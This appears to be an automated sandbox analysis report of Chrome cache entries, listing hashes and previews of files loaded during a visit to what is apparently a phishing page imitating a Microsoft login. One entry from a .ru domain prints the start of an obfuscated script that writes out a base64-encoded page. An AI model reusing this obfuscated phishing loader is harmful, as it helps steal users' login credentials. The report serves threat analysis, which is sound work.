Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	dropped
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
Reputation:	low
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	downloaded
Size (bytes):	450033
Entropy (8bit):	5.448723522254409
Encrypted:	false
SSDEEP:	6144:07PuGBhulRK2d/ZkpZYRsmA2pmBe9OpRUS4cEHKE0H3NX44W:07DyZkp6umhpsUSuh
MD5:	8B962EA6EAE1400A3D8A7BBF39EB6A1F
SHA1:	A3F7D74A3ACD43D454A6F0B5AE6863E7CD8B88C7
SHA-256:	C8123F7EF42D7B45509B8E632FD575F4DC14BB1826188005FEF312C819B1BC3F
SHA-512:	BB1F1D831863A99AA81DC8E9B4B22D6789520F3F8E5396C6584BF9C4383F424F2F14E258222761DCAD0068E50FF3145DA935C1D558E7217A3644E02B1312D52D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7469), with CRLF line terminators
Category:	downloaded
Size (bytes):	19831
Entropy (8bit):	5.878042580590041
Encrypted:	false
SSDEEP:	384:unu6O15ZHvnxqQ/TakpMZnu6O15ZHvnxqQ/TakpMklrA7lrAU:r15Z/xqQGkSU15Z/xqQGkSklrA7lrAU
MD5:	D4AB13EFE79AB98AF1C3EDB2CAB63C75
SHA1:	4237C3E6C19A8080583D7FF430861DF380576AC0
SHA-256:	9840D36B0F1B060830FAC0807835A18588A733558FE2525D68DE9A6098829363
SHA-512:	60948BE0B44F37A6C70757061E422769BB6C3E4C1E8952F0120689DA1FEBEB0EDCD3C0BE487F63DDA54667831BB8D67FE12D1D4985EEEA8E78A394DBC3672627
Malicious:	false
Reputation:	low
URL:	https://wfdd.htqeuifpr.ru/rNn4/
Preview:	Success is not how high you have climbed, but how you make a positive difference to the world. -->.. Quality is not an act; it is a habit. -->..<script>....if(atob("aHR0cHM6Ly81NnouaHRxZXVpZnByLnJ1L3JObjQv") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.980582012022051
Encrypted:	false
SSDEEP:	384:8RvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:8pmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	3BA4D76A17ADD0A6C34EE696F28C8541
SHA1:	5E8A4B8334539A7EAB798A7799F6E232016CB263
SHA-256:	17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
SHA-512:	8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	dropped
Size (bytes):	450033
Entropy (8bit):	5.448723522254409
Encrypted:	false
SSDEEP:	6144:07PuGBhulRK2d/ZkpZYRsmA2pmBe9OpRUS4cEHKE0H3NX44W:07DyZkp6umhpsUSuh
MD5:	8B962EA6EAE1400A3D8A7BBF39EB6A1F
SHA1:	A3F7D74A3ACD43D454A6F0B5AE6863E7CD8B88C7
SHA-256:	C8123F7EF42D7B45509B8E632FD575F4DC14BB1826188005FEF312C819B1BC3F
SHA-512:	BB1F1D831863A99AA81DC8E9B4B22D6789520F3F8E5396C6584BF9C4383F424F2F14E258222761DCAD0068E50FF3145DA935C1D558E7217A3644E02B1312D52D
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	downloaded
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	dropped
Size (bytes):	142367
Entropy (8bit):	5.430597817875451
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGK:IgD1g/Mq5L9EveUynbBwsIccp
MD5:	CCAA31FD031C4C856EB7B986FD9F447B
SHA1:	0A809EABCDB95FA04DE5F8409B3BC994ED65CBD1
SHA-256:	3D40B4129B8B4C284908636AE46D72EA053F286FB5FE45DB78351B5B2CFC1EB9
SHA-512:	4B5B2271DB5F640FEBF13A7C0BDBD630C73530000F1593046D090585D1752E239D894614E23E801BE4C6A379406B6EF521423FA27C3865C3CD4ABB0A64823780
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
URL:	https://cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru/abqfqnldukwhssxigbeamrdaoVrzfxtCuCOYYZXUDRKEVHETDRGZXQKYJWUVUA
Preview:	1

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	downloaded
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	dropped
Size (bytes):	116365
Entropy (8bit):	7.997737813291819
Encrypted:	true
SSDEEP:	1536:9IyZY3F6VvgB9lnrhw1h+WbhcNtrpUzwXkqGeKTgcao2AYvXMpclkcKAXWG8NYh:9BZ5hu91Nwz+trpGmkReMgcaQYXlkcjR
MD5:	2D3FBED6DDD719FCC1BFB500B612FCEC
SHA1:	CD91B795DDE806AC8A38E51CCB6E8BAD8E57DA1B
SHA-256:	B2566B646F02DF4CE30B05D8223B78130A719D4EC9E4794A0106C371ADE33CC7
